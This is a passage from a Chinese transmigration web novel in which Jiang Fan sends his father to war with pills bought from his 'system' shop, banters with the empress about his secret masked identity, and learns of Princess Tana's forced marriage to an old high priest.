他虽然平日与这个严厉的老爹‘斗智斗勇’,但心底里,早已将江撼岳、江芷兰,乃至整个镇国公府,当成了自己在这个世界最坚实、最温暖的依靠。
此刻听到老爹用如此沉重的语气说出‘归期难料’、‘战事凶险’,一股酸涩与担忧,瞬间涌上心头。
“爹…”
他张了张嘴,想说什么安慰或豪迈的话,却发现喉咙有些发干。
“听着,”江撼岳打断他,虎目紧紧盯着江凡的眼睛,声音压得极低,
“留在京城,留在陛下身边,你的担子,不比为父轻。靖王贼心不死,朝中魑魅魍魉不知凡几,陛下的安危,系于你身!
给老子打起十二分精神!眼观六路,耳听八方!绝不可有丝毫懈怠!若陛下有半分闪失,你…”
他顿了顿,眼中闪过一丝厉色,但最终还是语气放缓,“你也不必回来见我了。”
“爹!您放心!”
江凡心头震动,连忙挺直腰板,语气是从未有过的郑重与坚定,
“儿子知道轻重!定当竭尽全力,护卫陛下周全!绝不让任何宵小,伤及陛下分毫!”
这不是场面话,而是他此刻最真实的心声。
于公于私,他都绝不能容忍女帝出事。
江撼岳看着儿子眼中那抹难得的坚毅光芒,心中稍慰。
这小子,或许…真的长大了些?
他点了点头,又道:
“还有…国公府。你姐姐虽然稳重,但终究是女子。若…若为父在北境,有个什么万一…”
他声音艰涩,“这镇国公府的门楣,江家的血脉,就…交给你了。凡儿,你已不是孩子,该担起责任了。”
“爹!”江凡心头猛地一酸,眼眶瞬间就红了。
他穿越而来,起初只觉得这个‘老爹’古板严厉,动不动就要打断他的腿。
可随着时日推移,他才感受到那份严厉背后,不善表达的父爱。
此刻听到这近乎‘托孤’般的话语,想到老爹即将奔赴那生死难料的战场,他心中那份对‘家’的眷恋与守护之心,瞬间被激发到了顶点。
“您别说这种丧气话!”
江凡声音有些哽咽,却努力保持着镇定,
“您一定会凯旋的!您可是咱们大夏的军神!北莽那些蛮子,哪里是您的对手!您放心去,家里有我!姐姐有我!我一定把家看好,等您回来!”
他深
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吸一口气,眼中闪过决断的光芒,
“爹,您等等!我去去就回!”
说完,不等江撼岳反应,江凡转身,一溜烟朝着自己居住的偏殿方向跑去,速度快得惊人。
江撼岳看着儿子匆匆离去的背影,愣了一下,随即摇头失笑,眼中却满是复杂。
这小子,****躁躁的,能干什么?
不过这份心,倒是难得。
说起来,这小子自从进宫之后,已经很久没去百花楼勾栏听曲儿了吧?
江凡冲回自己的偏殿,反手关上门,心脏还在砰砰直跳。
他没有任何犹豫,立刻沉入心神,连接系统商城。
目光快速扫过那些琳琅满目的丹药列表。
【极品疗伤丹】:快速恢复严重内外伤,断肢可续(需及时)。兑换需人气值10000点/颗。
【百草解毒丹】:可解百毒,对部分奇毒亦有压制缓解之效。兑换需人气值8000点/颗。
【先天补气丸】:快速补充消耗的真气,对大宗师以下效果显著。兑换需人气值5000点/颗。
【龙虎淬体丹】:小幅强化肉身,提升力量与耐力,长期服用有奇效。兑换需人气值15,000点/瓶(十颗)。
【护心保命丹】:重伤垂死时服下,可吊住一口气,争取救治时间。兑换需人气值20,000点/颗。
江凡眼睛都没眨一下,手指在虚拟界面上飞快点击。
“兑换【极品疗伤丹】x10!”
“兑换【百草解毒丹】x10!”
“兑换【先天补气丸】x20!”
“....”
【叮!兑换成功!消耗人气值365,000点!相关丹药已存入系统空间。】
看着刚刚涨到两百多万的人气值,瞬间又缩水一大截,江凡心疼得嘴角抽了抽。
但他没有丝毫后悔。
钱财乃身外之物,人气值可以再赚,老爹的命,只有一条!
北境苦寒,战事凶险,刀剑无眼,**瘴疠更是防不胜防。
这些丹药,或许能在关键时刻,救老爹一命!
值!太值了!
第187章 怎么能不急
江凡从系统空间取出那些装在小巧玉瓶中的丹药,又找来一块布将它们分门别类包好,系成一个小包裹。
做完这一切,他抱起包裹,再次飞奔出殿。
江撼岳还站在原地,望着宫门方向,眉宇间凝着忧思。
他担心女帝的安危,同样也担心江凡和江芷兰。
听到急促的脚步声,他转过头,看到儿子抱着个鼓鼓囊囊的包裹,气喘吁吁地跑回来。
“爹!给!”
江凡将包裹不由分说地塞进江撼岳怀里,压低声音,语速极快,
“这里面是一些丹药,是…是师尊他老人家前些日子云游路过,留给我的。有疗伤的,解毒的,补充真气的,还有强化身体的。
哦,最重要的是这三颗‘护心保命丹’,万一…我是说万一受了极重的伤,只要还有一口气在,赶紧服下一颗,能吊住性命!您一定收好!千万别舍不得用!”
江撼岳抱着那带着儿子体温的包裹,愣住了。
他低头,看着包裹那粗糙但捆扎得十分用心的模样,一股暖流瞬间冲垮了他心中所有的刚硬。
这个一向流血不流泪的沙场老将,此刻竟觉得眼眶有些发热,鼻尖发酸。
他张了张嘴,想说点什么,责备他胡乱收‘师尊’的东西?
还是感慨儿子终于懂事了?
最终,千言万语,只化作一声感慨:
“好…好…你有心了。你师尊…对咱们江家,恩同再造。为父…愧受了。”
他以为,这又是那位神秘莫测的‘逍遥公子’对自家徒儿、乃至对整个江家的照拂。
心中对那位前辈的感激与敬畏,更添十分。
有如此高人暗中护佑,凡儿留在陛下身边,他确实能更安心些。
他将包裹紧紧抱在怀里,仿佛抱着儿子的一片赤诚孝心,也抱着那位‘前辈’沉甸甸的恩情。
他再次看向江凡,目光中少了严厉,多了慈和与托付:
“凡儿,有为父在,北境定会无恙。你且在京城,好生当差,护卫陛下。等北境战事平息,为父归来…”
他顿了顿,脸上露出一丝属于普通父亲的期盼,
“为父定当再次向陛下恳请,为你与周家丫头赐婚。咱们江家人丁稀薄,你也老大不小了,该成家立业,为咱们江家开枝散叶了。这是为父…如今最大的心愿。”
“啊?赐婚?周婉如?”
江凡正沉浸在离别愁绪和对老爹安危的担忧中,冷不丁听到‘赐婚’二字,脑子顿时‘嗡’了一下。
眼前不由自主地闪过女帝灯下缝衣的侧影,闪过为她疗伤的场景、还有那夜崖下她‘逼婚’时泪眼朦胧却又执着的模样…
心中莫名一乱,脸上也有些不自然,连忙打岔道:
“爹!这都什么时候了,还说这个!北境战事要紧!您的安全要紧!成亲的事…等您平安回来再说!不着急!不着急!”
“怎么能不着急?!”
江撼岳眉头一皱,那股属于父亲的威严又回来了,
“为父征战半生,早已将生死置之度外!马革裹尸,乃军人归宿!为父唯一放心不下、死也不能瞑目的,就是你这混小子的终身大事!
江家血脉传承,重于泰山!你要是还有点良心,就多在陛下面前表现,求陛下开恩,早日下旨赐婚!也让为父…去了地下,也好有脸见你娘,见列祖列宗!”
看着老爹那副执拗模样,江凡一个头两个大。
他能理解老爹的传统观念和抱孙心切,可他现在这心里…乱糟糟的,全是女帝的影子。
对周婉如,目前绝无男女之情。
而且,以他现在和女帝这剪不断理还乱的关系,再去求娶周婉如?
“爹!我、我知道了!您别说了!我一定…一定找机会跟陛下提!您快出发吧!别耽误了时辰!”
“什么叫找机会提?你的婚姻大事对老子来说很重要,你有空就问问陛下,只要能点头赐婚,我在北境也能少一桩心事。”
“是是是,我等会儿就问问陛下...”
江凡被逼得没办法,只能硬着头皮应承下来,先把老爹糊弄走再说。
江撼岳见儿子答应,脸色稍缓,又重重拍了拍他的肩膀:
“记住你说的话!为父,等着你的好消息!”
说罢,他不再犹豫,抱着那包裹丹药,转身朝着宫外集结的军队方向走去。
背影挺拔,带着一往无前的决绝,却也透着一丝为人父的牵挂。
江凡站在原地,望着老爹逐渐远去的背影,久久没有动弹。
他心中五味杂陈,有对老爹安危的深深担忧,有对家国命运的沉重感,有对自身处境的迷茫。
更有对那份刚刚萌芽、
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却又因现实重重阻碍而显得遥不可及的情感的无措。
“靖王…北莽…南蛮…还有这该死的赐婚…”
他低声咒骂了一句,烦躁地抓了抓头发。
必须尽快解决靖王这个心腹大患!
否则,大夏永无宁日,女帝永远身处险境,老爹也要在边境浴血搏杀!
他调出系统界面,看着那仅剩的【1935000】人气值,眉头紧锁。
话本传送数量提升到每日一万份,人气值一天也有近两百万。
距离提升到大宗师境界还需要两三天,想提升到极道宗师,也不知道需要多少人气值。
实力!
还是实力不够!
若有碾压一切的实力,何须如此憋屈?
就在这时,御书房内传来女帝清冷的声音:
“江凡,进来。”
江凡精神一振,连忙收敛思绪,整了整衣冠,快步走入御书房。
萧璇月已批阅完一批紧急奏报,正坐在案后,手捧茶盏,目光有些游离,似乎也在为北境之事忧心。
见到江凡进来,她凤眸微抬,落在他身上,将他脸上那尚未完全褪去的担忧与烦闷尽收眼底。
她知道,他方才定是去送他父亲了。
“镇国公…已出发了?”
她轻声问道,语气不自觉地柔和了些。
“回陛下,家父已领兵出城。”
江凡躬身答道。
“嗯。”萧璇月点了点头,放下茶盏,忽然问道:
“江凡,若此刻有强敌来袭,你会如何?”
江凡一愣,没想到女帝会突然问这个。
他立刻挺直腰板,毫不犹豫地朗声道:
“臣必当拼死护卫陛下!除非踏过臣的尸体,否则绝不让任何人伤及陛下分毫!臣愿为陛下,肝脑涂地,万死不辞!”
这话说得斩钉截铁,是他此刻最真实的想法,也是他对老爹、对自己内心的承诺。
萧璇月静静地看着他,脑海中却不受控制地浮现出西山猎场**时,他毫不犹豫挡在自己身前的背影;
浮现出崖底疗伤时,他笨拙又专注的神情;
浮现出他一次次‘恰好’出现,化解危机;
甚至浮现出他昨夜在话本中,以‘影子’自喻,那默默守护的深情篇章…
心中的感动与那份隐秘的情愫,几乎要冲破理智的堤坝...
第188章 转达给自己
萧璇月很想立刻走上前,告诉他,她知道他就是逍遥公子…
可理智告诉她,不能。
朝局未稳,靖王未除,边境烽烟又起。
她这个女帝的位置,坐得并不安稳。
她怕,怕将他卷入这滔天旋涡,怕有朝一日自己若有不测,会连累他,甚至…害了他。
以他‘逍遥公子’的实力,若孑然一身,天下何处去不得?
何必陪她困在这危机四伏的皇宫,担这泼天的风险?
这份患得患失,这份想要靠近却又不得不推开的矛盾,让她心中酸涩不已。
但她终究是女帝,习惯了将所有的情绪隐藏在威严的面具之下。
她强压下心中的悸动,脸上露出一个隐含深意的笑容。
“拼死护卫?万死不辞?”
她微微歪头,语气带着一丝调侃,
“江爱卿,你这忠心,朕自然是信的。不过…光靠你一人拼死,怕是不够吧?你那位神通广大的师尊…逍遥公子前辈,他老人家,此刻可在京城?若真有强敌,他…可会出手?”
好端端的,怎么又提起自己的‘师傅’?
江凡心头一跳。
陛下这是…又想我‘师傅’了?
还是单纯地想寻求一份更强大的安全感?
他看着女帝那双藏着期待的凤眸,心中一软。
女帝虽然表现得镇定,可面对内忧外患,面对老爹出征,她心里,定然也是压力巨大,渴望有一个强大的依靠吧?
哪怕只是口头上的承诺。
“陛下放心!”江凡连忙道,语气无比肯定,
“师尊他老人家虽行踪飘忽,但心系陛下,心系大夏。他曾对臣言,陛下乃仁德明君,是大夏中兴之望。
若陛下当真遇到无法抵御的危难,社稷有倾覆之险,师尊他…定不会坐视不理!他定会如以往一般,在关键时刻,护佑陛下,匡扶社稷!”
这话,既是安抚女帝,也是给自己打气。
必要时,那一百万人气值,该花还得花!
萧璇月听着他这笃定的保证,心中既觉好笑,又涌起一股暖流。
这个小混蛋,演起戏来还真是…情深意切。
不过,这份保证,确实让她心安不少。
有他这句话,有他这个‘影子’在,仿佛再大的风浪,也有了倚仗。
她唇角笑意加深,眼中狡黠之色更浓,忽然向前倾了倾身子,声音压低:
“江爱卿,你师尊对朕如此关照,朕心中实在感激,亦有许多话,想当面与他诉说。不若…你今晚便设法,联系一下你师尊?
就说…朕在宫中设下薄宴,别无他人,只想与他单独一叙,聊表谢意,亦有些…心事,想向他倾诉。可好?”
“今晚?单独一叙?”
江凡头皮发麻,差点跳起来!
不是刚用闭关糊弄过去吗?
怎么今天又来了?
见一次面一百万啊!
而且在这深宫大内,众目睽睽之下,他如何能确保‘逍遥公子’出现和自己消失不引起怀疑?
万一被哪个隐藏的极道宗师供奉察觉端倪,那乐子就大了!
只是...自己心里那一点点期待是怎么回事?
“陛、陛下!”江凡有些语无伦次,
“师尊他…他老人家真的闭关了,严禁任何打扰!别说传话了,就是**传音,也进不去那闭关的禁制啊!
陛下,您就饶了臣吧!师尊若是知道臣屡次三番因私事打扰他清修,非…非把臣逐出师门不可!”
他哭丧着脸,心中已经决定打死也不答应。
看着他这副拼命推脱的模样,萧璇月心中那点恶作剧得逞的快感几乎要满溢出来,但同时又有一丝失落。
看来,这‘见面’之事,对他而言,果然有着极大的限制或难处。
是消耗巨大,还是折损寿命?
或者是有什么别的隐忧?
她想弄清楚,如果能帮上他,那就更好了。
想到这,她露出一副理解的幽怨表情,轻轻叹了口气:
“罢了…既然尊师闭关紧要,朕…也不强求了。只是朕这心里,着实有些事情,憋得难受…”
她垂下眼帘,一副心事重重、我见犹怜的模样。
江凡被她这表情弄得心里七上八下,又是愧疚又是不安。
女帝看起来是真的有心事,想找人倾诉?
还是有什么棘手的事情想请逍遥公子出手?
可见个面就是一百万人气值,心中实在有些肉疼。
他立刻换上一副忠心耿耿的表情,压低声音:
“陛下!您若信得过臣,有什么心事,不妨与臣说说?或许…臣也能为陛下分忧一二?即便不能,能听陛下倾诉,让陛下心里松快些,也是臣的福分!”
他这话说得漂亮,既表了忠心,又给了台阶
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。
女帝要是压力太大,只想找人倾诉,而自己可以当个工具人。
若真有什么难处,自己这个当‘徒弟’的还可以转告‘师傅’嘛!
这样既能省下一百万人气值,还能缓解女帝心中的压力...
萧璇月:“……”
她抬起眼帘,看着江凡那副诚恳模样,差点没绷住笑出声来!
这个小混蛋!
倒是会顺杆爬!
不让‘师尊’来,就自己凑上来想打听‘师娘’的心事了?
有些话只能对‘逍遥公子’说,有些事也只能对‘逍遥公子’做。
她心中又是好气又是好笑。
也罢,既然他主动问起,那索性试探一下。
“江爱卿有心了,你师尊他每日写那个话本,是不是有别的目的?”
“什、什么别的目的...”
江凡心中一凸,不知道女帝怎么突然问这个。
萧璇月意有所指的说道:
“朕虽然不明白你师尊这种世外高人为何每日要写话本,但朕能感觉到,他除了通过话本暗中帮助朕和大夏,一定还有别的原因...”
看到江凡脸色变幻,萧璇月知道自己猜对了。
难道这个跟他神秘莫测的实力有关?
她顿了顿,继续说道,
“逍遥前辈帮了朕这么多,朕也不知道怎么报答他。之前尊师说一些特殊的剧情是为了增加销量和人气,所以朕决定:
即刻下令让大夏所有人都关注深宫秘恋这个话本...而且会安排专人将话本内有用的东西进行整理宣传。你师尊知道了不会反对吧?”
“什么?”
江凡顿时瞪大眼睛,女帝也太聪明了吧!
竟然能猜到人气和销量对‘逍遥公子’的好处,更愿意下旨推广。
有了朝廷公开支持,那以后人气值每天不得日收入几千万?
之前自己要是能想到话本让朝廷背书,那也不至于黑女帝几回了。
傻子才会反对!
他赶紧道:
“陛下,您对师尊果然情真意切,陛下心意,师尊肯定会很感动的!我一定转达师尊,多为陛下美言几句……”
他恨不得女帝赶紧下旨,收益可是实时到账的。
萧璇月看着他脸上激动的神色,暗叹他果然很在意话本销量。
不过心中却有些好笑:你转达?
自己转达给自己吗?
第189章 幽怨的语气
萧璇月面上却露出犹豫之色:
“不过这种事情,朕想亲自听你师尊的意思。万一朕自作主张下令全国关注这个话本,你师尊生气怎么办?”
她说着,声音也低了下去,一副担心的模样。
“陛下!您千万别担心,师尊他要是知道您下令让整个大夏都关注话本,一定非常开心的!”
江凡一看她这模样像是要放弃,赶紧推波助澜。
他脱口而出:
“师尊他…他老人家虽然是世外高人,但唯一的爱好就是写话本。要是陛下能下令让话本推广全国,师尊他老人家一定会非常感动的!”
萧璇月心中狂笑,看来话本销量对他的确很重要,那稍后就让人安排下去。
她面上却将信将疑的模样:
“真的吗?江爱卿,你、你莫要骗朕。尊师他…真的会为此感动?”
“千真万确!”江凡拍着胸脯保证,
“臣以性命担保,师尊要是知道陛下为他老人家做到这一步,一定非常感动...”
没办法,为了每天海量人气值收入,一定要让女帝的想法尽快落实。
非常感动...
萧璇月重复着这句话,眼中露出一抹笑意。
她看着江凡那急赤白脸的模样,心中的柔软几乎要满溢出来。
这个小傻瓜…
你就不能坦白身份吗?
非要用‘师尊’当幌子?
“既然你如此说…那朕,便信你一次。稍后朕就下旨,责令整个大夏关注深宫秘恋,不识字的也安排说书人一起听。”
“臣替师尊感谢陛下!”
江凡大喜,仿佛已经看到人气值大量进账的场景。
要知道系统商城可不光是能兑换修为,连粮食武器也能兑换。
要是人气值足够,那能解决很多困境。
就在他嘴角压制不住的时候,萧璇月突然说道:
“你不用如此客气,想感谢朕,就叫声师娘听听吧。”
“啊?”
江凡顿时一脸苦涩,“陛下,师尊没答应之前,臣不敢善做主张,免得师尊生气...”
萧璇月语气恢复了平静,却带着一丝温柔,
“行了,不逗你了,你且退下吧,朕…有些乏了。”
“臣告退!陛下好生休息!”
江凡如蒙大赦,连忙躬身行礼,退出了御书房。
走出殿外,他还感觉做梦一样。
女帝真的愿意下旨,让全国普及深宫秘恋?
他忽然想起老爹临走前的嘱托——赐婚。
他脚步一顿,脸上露出纠结之色。
答应老爹的事…虽然是被逼的,但总得试试吧?
不然老爹在北境都不安心。
而且,万一…万一女帝真的对‘逍遥公子’用情至深,自己‘徒儿’想成亲,应该会支持吧?
他咬了咬牙,转身,又折返回御书房。
为了老爹能安心打仗,拼了!
“陛下,那什么,臣…臣还有一事相求。”
江凡硬着头皮,再次走进御书房,对着正在提笔书写的女帝躬身道。
萧璇月睁开眼,有些意外地看着去而复返的江凡:
“何事?”
江凡深吸一口气,低着头,不敢看女帝的眼睛,声音有些发虚:
“臣…臣父临行前,再三叮嘱臣…恳请陛下,能为臣与礼部尚书周大人之女周婉如…赐婚。臣父说,此乃他最大心愿,望陛下…成全。”
他一口气说完,心脏砰砰狂跳,等待着女帝的旨意。
萧璇月脸上的柔和瞬间消失得无影无踪,变成一片冰寒!
凤眸之中,怒火压抑不住的燃烧起来!
赐婚?周婉如?
这混账东西!
前脚刚准备帮他增加销量,后脚就跑来求娶别的女人?
他这是要活活气死她吗?
难道他‘逍遥公子’心中对自己就真的没有半点心思?
她猛地一拍龙案,厉声道:
“江凡!你方才用哪只脚迈进这御书房的?!”
江凡:“!!!”
不是...又来了!
这熟悉的死亡问题!
他心一凸,哭丧着脸道:
“陛、陛下!臣…臣没注意啊!臣是心里着急,想着父亲嘱托,就…就跑进来了!真没注意是哪只脚!”
“没注意?!”
萧璇月站起身,凤眸含煞,一步步走到江凡面前,直到两人几乎要贴到一起,
“身为御前金刀侍卫,连如何入殿都不知,此乃大不敬!再加你擅离职守,去而复返,搅扰朕之清静!数罪并罚,你可知罪?”
“呃...陛下您要罚就罚吧,我知罪还不行吗?”
江凡心里把老爹骂了一万遍。
老爹啊老爹,您可把我害惨了!
“既然知罪,那便…”
萧璇月心中真的生气
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,自己正在拟旨准备帮他,结果这货却想和别的女人成亲。
她深吸一口气问道:
“朕问你...你真的喜欢周小姐吗?”
“这个...”
江凡犹豫了,脑海中再次想起之前给女帝疗伤的场景,不得不说,萧璇月的美是毫无瑕疵。
而且这段时间对自己的特别关照,他能清晰的感受到,已经超过君臣只见的关心。
不过两人身份悬殊,而且这女人喜欢的是‘逍遥公子’,跟我江凡...也没太大关系。
他江凡作为镇国公的独子,当然要考虑开枝散叶的事情。
再说了,就算女帝愿意,他不得考虑一下?
‘嫁’给女帝,以后还怎么三妻四妾?
“臣觉得周小姐温文尔雅,秀外慧中,善解人意,是做妻子的合适人选。而且父亲和周大人对我们的婚事都很满意,臣的姐姐也很喜欢周小姐,臣实在没有反对的理由...”
“没有反对的理由?”
萧璇月心中莫名有些酸楚:这混蛋真的没有将那晚给自己疗伤的事情放在心上吗?
自己后来跟他在断崖见面,也表达了心意,他对自己真的没有半点意思?
那对自己的守护,也只是臣子对君主的忠诚?
不行!
她觉得有必要弄清楚,如果‘逍遥公子’心中对自己真的没有半点情意,那就彻底死心。
想到这,她话锋一转:
“那便罚你…今夜将师尊叫来,朕有事情问他。只要今日把话说清楚了,朕以后绝不主动找他!”
“什么?见师尊?”
江凡眉头一皱,下意识就想推辞。
萧璇月淡淡说道:
“你放心,朕有些事情今晚一定要问清楚。至于刚刚答应推广深宫秘恋的事情,朕也不会食言,稍后就会安排下去!”
听到这话,江凡拒绝的话顿时憋了回去,只能抱拳说道:
“臣...回去试试,至于师尊来不来,臣不敢保证!”
“无妨,你告诉‘尊师’,今晚子时朕在寝宫等他,届时会屏退所有人。若他不来,朕身边守卫空虚,被刺杀也不怪他。这皇位朕本就坐着心累,朕**也省的你们师徒费心费力...”
“陛下别这样说...”
江凡一脸黑线,这幽怨的语气是几个意思?
而且自己心中升起的负罪感是怎么回事?
第190章 塔娜的消息
萧璇月却冷哼一声说道:
“不用多说,只管将朕的意思转告尊师就行!另外,朕放你半天的假,可以送送你父亲,顺便通知你师尊,明日记得上朝就行。”
连伪装的机会都给你了,朕很够意思了,也一定要弄清楚这个混蛋的真实想法。
“是是是!臣这就去通知师尊。”
听到可以提前下班,江凡如蒙大赦,连忙出了御书房,那速度,比来时快了十倍不止。
看着江凡瞬间消失的背影,萧璇月胸中的闷气终于消散,忍不住‘噗嗤’一声笑了出来。
“陛下,”云暮脸上也满是笑意,“江世子他…还真是…耿直得可爱。”
她想说‘蠢得可爱’,但没敢。
“可爱?”萧璇月哼了一声,眼中却笑意未减,
“是气人得紧!吃着碗里的,看着锅里的,还想让朕给他赐婚?”
她顿了顿,语气变得幽深,
“不过…云暮,你说,他对朕真的没有半点情意吗?”
云暮神色一凛,回想着给他送衣服时的提醒,却**凡误会是‘师娘对徒弟的关爱’,只能试探说道:
“奴婢看,江世子是聪明面孔笨肚肠。在别的事上机灵得很,偏偏在…男女之事上,像个没开窍的木头。
陛下,您得想办法点醒他,总不能一直这样,看他这般胡闹吧?万一哪天,周家小姐或是别的什么人,真让他动了心…”
萧璇月脸上的笑容淡去,目光望向窗外,带着一丝怅惘:
“现在还不是时候。靖王未除,边境不稳,朕这皇位,坐得并不踏实。此时若与他挑明,反而显得朕只是看中他的实力。
而且他一向懒散怕麻烦,朕宁愿他像现在这样,懵懵懂懂无忧无虑,至少…在朕遭遇不测之后,以他的实力可以带着家人全身而退...甚至可以将皇位取而代之...”
她转身,走回龙案后,指尖轻轻拂过那本《深宫秘恋》。
“除非这块‘木头’能自己‘开窍’,否则在江凡自己主动坦白之前,朕…不急。”
她嘴上说着不急,可那眼中一闪而过的期待,却泄露了心底真实的想法。
“那…今晚陛下还要见‘逍遥公子’吗?”
云暮笑着问。
萧璇月眼中闪过一丝狡黠与期待:
“见,为何不见?虽然知道是他假扮的,但…扮作‘逍遥公子’的他,似乎胆子更大些,也…更让朕有‘欺负’的欲望。
而且,有些话,对着‘逍遥公子’说,反而更自在。朕倒要看看,今晚,他能编出什么新花样来糊弄朕。”
想到今晚又能看到那个‘小混蛋’戴着面具、强作镇定、却又漏洞百出的模样,她心中便涌起一阵莫名的愉悦与期待。
她想了想拿起刚刚写好的东西说道:
“传朕旨意,将深宫秘恋推广出去,由各个地方的官员负责!”
“是!”
...
另一边,江凡走出宫门,心中百感交集。
老爹已经率军出征,此刻怕是已出了城门,追是追不上了。
难得今日‘下值’早,他不想回去,怕遇到周婉如尴尬。
漫无目的地在街上走了几步,突然想起百花楼的柳絮。
或许…去那里坐坐,喝杯酒,听听曲,从柳絮那里打探点消息,顺便…散散心?
这个念头一起,便再也压不下去。
反正现在自由时间珍贵,能逍遥一会儿是一会儿...
半个时辰后,江凡已坐在了百花楼的雅间内。
他点了几个小菜,一壶醉仙酿,自斟自饮,试图将脑海中那些纷乱的思绪暂时抛到脑后。
酒刚过三巡,雅间的门便被轻轻推开,一道窈窕的身影带着熟悉的香风飘了进来。
柳絮今日穿着一身水绿色的撒花烟罗裙,外罩薄纱,云鬓斜簪。
她眼波流转,落在江凡身上,嘴角便噙起一抹笑意。
“哟,我当是谁这么大面子,能让妈妈亲自安排这‘天字一号’雅间,原来是咱们新晋的二品金刀侍卫,江大人驾临。小女子柳絮,这厢有礼了。”
她盈盈一福,声音软糯。
江凡放下酒杯,脸上也露出笑容:
“柳絮姑娘就别取笑我了。什么金刀侍卫,不过是个高级护卫罢了,比在宫外,可差得远了。”
他示意柳絮坐下,亲自为她斟了一杯酒,
“姑娘消息灵通,想必也听说了,家父今日已率军前往北境。”
柳絮在他对面坐下,接过酒杯,却没有立刻喝,目光在江凡脸上仔细端详了片
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刻,轻轻叹了口气:
“令尊为国出征,忠勇可嘉。只是这北境烽火,南疆暗涌,京城亦非净土。江公子…不,江大人如今身处漩涡中心,想必压力不小。”
她语气中带着关切,并非全是客套。
她是少数知晓江凡另一重惊世骇俗身份的人之一,自然明白他此刻处境的微妙与凶险。
“压力?”
江凡自嘲地笑了笑,将杯中酒一饮而尽,“何止是压力。简直是…步步惊心,如履薄冰。”
他顿了顿,看向柳絮,目光变得锐利了些,
“柳絮姑娘,咱们明人不说暗话。我今日来,除了散心,也是想从姑娘这里,听听风声。靖王那边…最近可有什么新动向?
他藏得如此之深,接连受挫,绝不会善罢甘休。你们四季堂,可有他最新的消息?哪怕…只是大概的方位也好。”
他心中盘算着,若能确定靖王藏身的大致位置,说不得就要动用【陆地神仙体验卡】,来个‘斩首行动’,一劳永逸!
虽然可能导致自己暴露,但总比坐以待毙,等着对方发动不知名的阴谋要强。
柳絮闻言,并没有立刻回答。
她端起酒杯,目光有些飘忽,似乎在斟酌措辞。
半晌,她才放下酒杯,看向江凡,语气有些微妙:
“靖王的消息…四季堂自然在查。此獠行事越发诡秘,近期似乎与海外某些势力接触频繁,行踪也更加难以捉摸。具体方位…尚未确定。”
她看到江凡眼中闪过的失望,话锋忽然一转,
“不过…我这里倒是有另一个消息,或许…江大人会感兴趣。”
“哦?什么消息?”
江凡打起精神。
柳絮看着他,红唇微启,吐出几个字:
“是关于…南蛮塔娜公主的。”
塔娜公主?
江凡握着酒杯的手顿了一下。
那个热情如火、大胆直接、临别前还偷袭强吻了他的南蛮公主?
自从那夜一别,他便再未听到过她的消息,也刻意不去想。
此刻突然从柳絮口中听到这个名字,心中没来由地微微一紧。
“塔娜公主?”他脸上维持着平静,
“她不是早已返回南蛮了吗?南蛮公主的消息,与我何干?”
第191章 摔碎的玉簪
江凡试图表现得漠不关心,但那一瞬间的眼神闪烁,却没能逃过柳絮敏锐的眼睛。
柳絮心中暗笑,脸上却露出几分同情和唏嘘之色:
“原本是与江大人无关的。只是…这位公主殿下,如今的境遇,着实令人唏嘘。她当日匆匆返回南蛮,并非自愿,乃是接到了南蛮国主的紧急密令。而且…回去之后,便身陷囹圄,处境堪忧。”
“处境堪忧?”
江凡眉头微皱,尽管告诫自己不要多管闲事,可还是忍不住问道:
“她不是南蛮公主吗?能有什么困境?难道…是南蛮国内出了变故?”
柳絮轻轻摇头,声音压低,带着凝重:
“变故倒说不上。是南蛮国主…欲将塔娜公主,许配给南蛮大祭司。”
“大祭司?”
江凡一愣,南蛮大祭司他略有耳闻,据说在南蛮地位尊崇,甚至能与国主分庭抗礼,擅长巫蛊之术,修为高深。
“联姻?巩固王权与神权?这…虽然可能非她所愿,但身为公主,这也是常有之事吧?”
他试图用理智来分析,可心里那丝莫名的烦躁却挥之不去。
“若只是寻常联姻,也就罢了。”
柳絮看着江凡,眼中闪过光芒,
“江大人可知,那位大祭司,今年高龄几何?”
江凡摇头。
“已近两百岁,寿元将尽。”
柳絮缓缓道,语气带着一丝嘲讽与怜悯,
“而且,据传其修为已至极道宗师巅峰,半只脚踏入了传说中的境界,性格乖戾,修炼的**似乎也与南蛮古老邪术有关,需以特殊体质的女子为‘鼎炉’辅助…
塔娜公主,似乎正是他寻觅多年的‘绝佳炉鼎’。这桩婚事,与其说是联姻,不如说是…献祭。而大祭司是想通过这个炉鼎,一举踏入那传说中的境界!”
“百岁?极道宗师巅峰?炉鼎?”
江凡瞳孔骤缩,握着酒杯的手指微微颤抖。
他脑海中瞬间浮现出塔娜那张娇艳如花的脸庞,再与一个行将就木、修炼邪功的百岁老怪物重叠在一起…
一股莫名恶心与愤怒,甚至带着一丝莫名的心疼,猛地冲上心头!
那个骄傲的、曾扬言要把他‘抢’回南蛮的公主,竟然要被她的父亲,送给一个这样的人?
难怪,临走的时候,她表情十分哀伤。
他脸色变幻,下意识地想要追问细节,却又猛地刹住。
他不断告诫自己:江凡,冷静!
那是南蛮的内政,是塔娜自己的命运!
你和她不过数面之缘,虽有…有些尴尬的接触,但并无深交。
你现在自身难保,女帝、靖王、北境、老爹…哪一桩不比这个重要?
你哪有闲心和能力去管**之外一个异国公主的婚事?
立场不同,注定敌对!
他强行压下心头的波澜,端起酒杯,又灌了一口,试图用酒液浇灭那不合时宜的烦躁,语气刻意显得平淡甚至有些冷漠:
“南蛮国主如此决定,或许有他的考量。塔娜公主身为王室之女,享受尊荣,自然也需承担相应的责任。此事…乃南蛮内务,我等外人,不便置喙。
柳絮姑娘特意告知,莫非是觉得…我会对此事感兴趣?我可是大夏镇国公世子,跟她也非亲非故的...”
他最后一句,带着一丝撇清关系的意味。
柳絮将他脸上细微的表情变化尽收眼底,心中了然。
她轻笑一声,语气却更加意味深长:
“江大人不必急着撇清。我之所以提起,是因为此事…或许并非与江大人全无干系。
据我所知,塔娜公主返回南蛮后,曾激烈反对这桩婚事,甚至…与她父王爆发了激烈的冲突。”
“她反对?”江凡心中一动。
“何止是反对。”柳絮眼中闪过一丝异彩,
“她直言不愿嫁给大祭司,甚至劝谏其父王,莫要与大夏为敌,莫要与靖王勾结。言道大夏女帝英明,国势虽暂有困顿,然根基未损。
更有…有高人暗中护佑,绝非可轻易图谋之辈。与其冒险开战,不如静观其变,甚至…尝试交好。”
江凡心中一震!
塔娜劝南蛮国主不要与靖王勾结?
不要与大夏为敌?
还提到高
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人暗中护佑?
她已经知道自己就是逍遥公子的身份!
可她竟然没有向她的父王透露?
反而用这个理由来劝阻开战?
如果塔娜的父王知道自己是‘陆地神仙’的话,或许不会阻止她留在京城跟他‘培养感情’。
但塔娜并没有透露自己的秘密。
